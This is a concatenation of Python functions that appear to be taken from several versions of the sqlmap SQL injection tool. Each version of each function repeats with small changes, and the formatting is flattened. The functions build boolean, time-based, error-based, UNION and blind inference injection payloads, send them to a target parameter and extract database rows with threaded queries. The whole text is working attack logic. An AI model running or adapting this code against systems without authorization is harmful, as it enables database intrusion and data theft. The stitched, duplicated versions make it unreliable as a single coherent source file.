def __goBooleanProxy(expression): """ Retrieve the output of a boolean based SQL query """ initTechnique(kb.technique) vector = kb.injection.data[kb.technique].vector vector = vector.replace("[INFERENCE]", expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) if output is None: output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False) if output is not None: hashDBWrite(expression, output) return output
def __goBooleanProxy(expression, resumeValue=True): """ Retrieve the output of a boolean based SQL query """ initTechnique(kb.technique) vector = kb.injection.data[kb.technique].vector vector = vector.replace("[INFERENCE]", expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) if resumeValue: output = resume(expression, payload) else: output = None if not output: output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False) return output
def _goBooleanProxy(expression): """ Retrieve the output of a boolean based SQL query """ initTechnique(kb.technique) if conf.dnsDomain: query = agent.prefixQuery(kb.injection.data[kb.technique].vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) output = _goDns(payload, expression) if output is not None: return output vector = kb.injection.data[kb.technique].vector vector = vector.replace("[INFERENCE]", expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) if output is None: output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False) if output is not None: hashDBWrite(expression, output) return output
def _goBooleanProxy(expression): """ Retrieve the output of a boolean based SQL query """ initTechnique(getTechnique()) if conf.dnsDomain: query = agent.prefixQuery(getTechniqueData().vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) output = _goDns(payload, expression) if output is not None: return output vector = getTechniqueData().vector vector = vector.replace(INFERENCE_MARKER, expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) if output is None: output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False) if output is not None: hashDBWrite(expression, output) return output
def errorUse(expression, dump=False): """ Retrieve the output of a SQL query taking advantage of the error-based SQL injection vulnerability on the affected parameter. """ initTechnique(kb.technique) abortedFlag = False count = None emptyFields = [] start = time.time() startLimit = 0 stopLimit = None output = None outputs = None untilLimitChar = None _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields( expression) # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \ expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \ or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): limitRegExp = re.search( queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): limitGroupStart = queries[ Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[ Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: limitGroupStart = queries[ Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[ Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int( limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif Backend.isDbms(DBMS.ORACLE): limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): stopLimit += startLimit untilLimitChar = expression.index( queries[Backend.getIdentifiedDbms()].limitstring.query) expression = expression[:untilLimitChar] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit elif dump: if conf.limitStart: startLimit = conf.limitStart - 1 if conf.limitStop: stopLimit = conf.limitStop # Count the number of SQL query entries output countedExpression = expression.replace( expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in expression: countedExpression = countedExpression[:countedExpression. index(" ORDER BY ")] _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields( countedExpression) count = _oneShotErrorUse(countedExpression, countedExpressionFields) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: outputs = [] # for empty tables return outputs if " ORDER BY " in expression and ( stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: message = "due to huge table size do you want to remove " message += "ORDER BY clause gaining speed over consistency? [y/N] " output = readInput(message, default="N") if output and output[0] in ("y", "Y"): expression = expression[:expression.index(" ORDER BY ")] threadData = getCurrentThreadData() threadData.shared.limits = iter(xrange(startLimit, stopLimit)) numThreads = min(conf.threads, (stopLimit - startLimit)) threadData.shared.outputs = BigArray() if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): for field in expressionFieldsList: if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': emptyFields.append(field) debugMsg = "column '%s' of table '%s' will not be " % ( field, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def errorThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limits: try: num = threadData.shared.limits.next() except StopIteration: break output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields) if not kb.threadContinue: break if output and isListLike(output) and len(output) == 1: output = output[0] with kb.locks.outputs: threadData.shared.outputs.append(output) runThreads(numThreads, errorThread) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: outputs = threadData.shared.outputs kb.suppressResumeInfo = False if not outputs and not abortedFlag: outputs = _errorFields(expression, expressionFields, expressionFieldsList) if outputs and isListLike(outputs) and len(outputs) == 1 and isinstance( outputs[0], basestring): outputs = outputs[0] duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % ( kb.counters[kb.technique], duration) logger.debug(debugMsg) return outputs
def errorUse(expression, dump=False): """ Retrieve the output of a SQL query taking advantage of the error-based SQL injection vulnerability on the affected parameter. """ initTechnique(kb.technique) abortedFlag = False count = None emptyFields = [] start = time.time() startLimit = 0 stopLimit = None value = None _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \ expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \ or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in expression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression) count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: value = [] # for empty tables return value if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: message = "due to huge table size do you want to remove " message += "ORDER BY clause gaining speed over consistency? [y/N] " _ = readInput(message, default="N") if _ and _[0] in ("y", "Y"): expression = expression[:expression.index(" ORDER BY ")] numThreads = min(conf.threads, (stopLimit - startLimit)) threadData = getCurrentThreadData() threadData.shared.limits = iter(xrange(startLimit, stopLimit)) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.counter = 0 threadData.shared.lastFlushed = startLimit - 1 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 if threadData.shared.showEta: threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): for field in expressionFieldsList: if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': emptyFields.append(field) debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def errorThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: valueStart = time.time() threadData.shared.counter += 1 num = threadData.shared.limits.next() except StopIteration: break output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta) if not kb.threadContinue: break if output and isListLike(output) and len(output) == 1: output = output[0] with kb.locks.value: index = None if threadData.shared.showEta: threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) for index in xrange(len(threadData.shared.buffered)): if threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, output)) while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]: threadData.shared.lastFlushed += 1 threadData.shared.value.append(threadData.shared.buffered[0][1]) del threadData.shared.buffered[0] runThreads(numThreads, errorThread) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered)) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: value = _errorFields(expression, expressionFields, expressionFieldsList) if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring): value = value[0] duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[kb.technique], duration) logger.debug(debugMsg) return value
def unionUse(expression, unpack=True, dump=False): """ This function tests for an union SQL injection on the target url then call its subsidiary function to effectively perform an union SQL injection on the affected url """ initTechnique(PAYLOAD.TECHNIQUE.UNION) abortedFlag = False count = None origExpr = expression startLimit = 0 stopLimit = None value = None width = getConsoleWidth() start = time.time() _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields( origExpr) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None if expressionFieldsList and len( expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) debugMsg = "stripping ORDER BY clause from statement because " debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) # We have to check if the SQL query might return multiple entries # if the technique is partial UNION query and in such case forge the # SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \ " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \ and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition( expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace( expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] output = _oneShotUnionUse(countedExpression, unpack) count = unArrayizeValue(parseUnionPage(output)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and (not isinstance(count, basestring) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: value = [] # for empty tables return value threadData = getCurrentThreadData() threadData.shared.limits = iter(xrange(startLimit, stopLimit)) numThreads = min(conf.threads, (stopLimit - startLimit)) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.lastFlushed = startLimit - 1 if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def unionThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: num = threadData.shared.limits.next() except StopIteration: break if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] elif Backend.isDbms(DBMS.ORACLE): field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery(num, expression, field) output = _oneShotUnionUse(limitedExpr, unpack, True) if not kb.threadContinue: break if output: if all( map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))): items = parseUnionPage(output) with kb.locks.value: # in case that we requested N columns and we get M!=N then we have to filter a bit if isListLike( items) and len(items) > 1 and len( expressionFieldsList) > 1: items = [ item for item in items if isListLike(item) and len(item) == len(expressionFieldsList) ] index = None for index in xrange( len(threadData.shared.buffered)): if threadData.shared.buffered[index][ 0] >= num: break threadData.shared.buffered.insert( index or 0, (num, items)) while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[ 0][0]: threadData.shared.lastFlushed += 1 _ = threadData.shared.buffered[0][1] if not isNoneValue(_): threadData.shared.value.extend( arrayizeValue(_)) del threadData.shared.buffered[0] else: with kb.locks.value: index = None for index in xrange( len(threadData.shared.buffered)): if threadData.shared.buffered[index][ 0] >= num: break threadData.shared.buffered.insert( index or 0, (num, None)) items = output.replace( kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) if conf.verbose == 1 and not ( threadData.resumed and kb.suppressResumeInfo): status = "[%s] [INFO] %s: %s" % ( time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join( "\"%s\"" % _ for _ in flattenValue( arrayizeValue(items))))) if len(status) > width: status = "%s..." % status[:width - 3] dataToStdout("%s\r\n" % status, True) runThreads(numThreads, unionThread) if conf.verbose == 1: clearConsoleLine(True) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: for _ in sorted(threadData.shared.buffered): if not isNoneValue(_[1]): threadData.shared.value.extend(arrayizeValue(_[1])) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: output = _oneShotUnionUse(expression, unpack) value = parseUnionPage(output) duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % ( kb.counters[PAYLOAD.TECHNIQUE.UNION], duration) logger.debug(debugMsg) return value
def unionUse(expression, unpack=True, dump=False): """ This function tests for an union SQL injection on the target URL then call its subsidiary function to effectively perform an union SQL injection on the affected URL """ initTechnique(PAYLOAD.TECHNIQUE.UNION) abortedFlag = False count = None origExpr = expression startLimit = 0 stopLimit = None value = None width = getConsoleWidth() start = time.time() _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I) debugMsg = "stripping ORDER BY clause from statement because " debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) # We have to check if the SQL query might return multiple entries # if the technique is partial UNION query and in such case forge the # SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \ " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \ and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] output = _oneShotUnionUse(countedExpression, unpack) count = unArrayizeValue(parseUnionPage(output)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and (not isinstance(count, basestring) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: value = [] # for empty tables return value threadData = getCurrentThreadData() threadData.shared.limits = iter(xrange(startLimit, stopLimit)) numThreads = min(conf.threads, (stopLimit - startLimit)) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.lastFlushed = startLimit - 1 if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def unionThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: num = threadData.shared.limits.next() except StopIteration: break if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] elif Backend.isDbms(DBMS.ORACLE): field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery(num, expression, field) output = _oneShotUnionUse(limitedExpr, unpack, True) if not kb.threadContinue: break if output: if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))): items = parseUnionPage(output) with kb.locks.value: # in case that we requested N columns and we get M!=N then we have to filter a bit if isListLike(items) and len(items) > 1 and len(expressionFieldsList) > 1: items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] index = None for index in xrange(len(threadData.shared.buffered)): if threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, items)) while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]: threadData.shared.lastFlushed += 1 _ = threadData.shared.buffered[0][1] if not isNoneValue(_): threadData.shared.value.extend(arrayizeValue(_)) del threadData.shared.buffered[0] else: with kb.locks.value: index = None for index in xrange(len(threadData.shared.buffered)): if threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, None)) items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo): status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))))) if len(status) > width: status = "%s..." % status[:width - 3] dataToStdout("%s\r\n" % status, True) runThreads(numThreads, unionThread) if conf.verbose == 1: clearConsoleLine(True) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: for _ in sorted(threadData.shared.buffered): if not isNoneValue(_[1]): threadData.shared.value.extend(arrayizeValue(_[1])) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: output = _oneShotUnionUse(expression, unpack) value = parseUnionPage(output) duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration) logger.debug(debugMsg) return value
def __goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ initTechnique(kb.technique) query = agent.prefixQuery(kb.injection.data[kb.technique].vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = BigArray() untilLimitChar = None untilOrderChar = None if not unpack: return __goInference(payload, expression, charsetType, firstChar, lastChar, dump) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields( expression) rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD): expressionFieldsList = [expressionFields] if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than one field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry per time # NOTE: I assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): limitCond = True limitRegExp = re.search( queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): limitGroupStart = queries[ Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[ Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: limitGroupStart = queries[ Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[ Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int( limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif Backend.isDbms(DBMS.ORACLE): limitCond = False # We assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp and stopLimit is not None: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): stopLimit += startLimit untilLimitChar = expression.index( queries[Backend.getIdentifiedDbms()].limitstring.query) expression = expression[:untilLimitChar] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit test = True if not stopLimit or stopLimit <= 1: if Backend.getIdentifiedDbms( ) in FROM_DUMMY_TABLE and expression.upper().endswith( FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False if test: # Count the number of SQL query entries output countFirstField = queries[Backend.getIdentifiedDbms( )].count.query % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] if not stopLimit: count = __goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar) if isNumPosStrValue(count): count = int(count) if batch: stopLimit = count else: message = "the SQL query provided can return " message += "%d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit" test = readInput(message, default="a") if not test or test[0] in ("a", "A"): stopLimit = count elif test[0] in ("q", "Q"): raise sqlmapUserQuitException elif test.isdigit( ) and int(test) > 0 and int(test) <= count: stopLimit = int(test) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif test[0] in ("#", "s", "S"): message = "how many? " stopLimit = readInput(message, default="10") if not stopLimit.isdigit(): errMsg = "invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "invalid choice" logger.error(errMsg) return None elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None elif (not stopLimit or stopLimit == 0): return None try: for num in xrange(startLimit, stopLimit): output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs.append(output) except KeyboardInterrupt: print warnMsg = "user aborted during dumping phase" logger.warn(warnMsg) return outputs elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper( ).startswith("SELECT ") and " FROM " not in expression.upper(): expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) return ", ".join( output for output in outputs) if not isNoneValue(outputs) else None
